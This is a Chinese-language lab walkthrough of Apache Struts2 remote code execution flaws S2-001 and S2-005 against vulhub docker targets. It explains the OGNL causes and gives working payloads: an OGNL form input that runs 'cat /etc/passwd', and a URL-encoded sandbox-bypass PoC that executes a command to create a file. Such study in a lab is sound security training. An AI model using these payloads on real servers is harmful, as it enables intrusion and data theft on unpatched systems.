S-001远程代码执行漏洞
漏洞发现
通过网页后缀来发现是否为xxx.do或xxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。
漏洞成因
当用户提交表单数据且验证失败时,服务器使用OGNL表达式%{value}解析用户先前提交的参数值,并重新填充相应的表单数据。例如,在注册或登录页面中,如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。
漏洞利用
环境准备
名称 | IP |
---|
攻击机 | 192.168.75.159 | 靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可
cd vulhub-master/struts2/s2-001
docker-compose up -d
看到如上界面便是启动成功了。
漏洞复现
用户名随意输入,密码输入以下内容
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}
可以看到如下返回结果,证明该漏洞利用成功
S-005远程代码执行漏洞
漏洞发现
通过网页后缀来发现是否为xxx.do或xxx.action,有的需要抓包看提交的请求链接是否存在以上两种情况,有的是在返回的链接上。
漏洞成因
服务器使用OGNL表达式%{value}解析每个请求参数名。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。在S2-003中,Struts会将HTTP的每个参数名解析为OGNL语句执行(可以理解为Java代码), 例如:XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:
- S2-003 使用
\u0023 绕过s2对# 的防御 - S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表达式将沙盒关闭,继续执行代码
漏洞利用
环境准备
名称 | IP |
---|
攻击机 | 192.168.75.159 | 靶机 | 192.168.75.146 |
首先输入以下命令进入vulhub里启动靶场,然后在攻击机里访问http://192.168.75.146:8080即可
cd vulhub-master/struts2/s2-005
docker-compose up -d
看到如上界面便是启动成功了。
漏洞复现
在Get请求Url中拼凑下方的Poc,该Poc是在tmp目录下创建一个success文件。
?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
然后去靶机查看是否成功创建success文件,操作如下:
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f958634c2dbe s2-005_struts2 “catalina.sh run” 4 seconds ago Up 4 seconds 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp s2-005_struts2_1
docker exec -it f958634c2dbe /bin/bash
ls /tmp
hsperfdata_root success
看到如上回显便是成功利用了该漏洞
|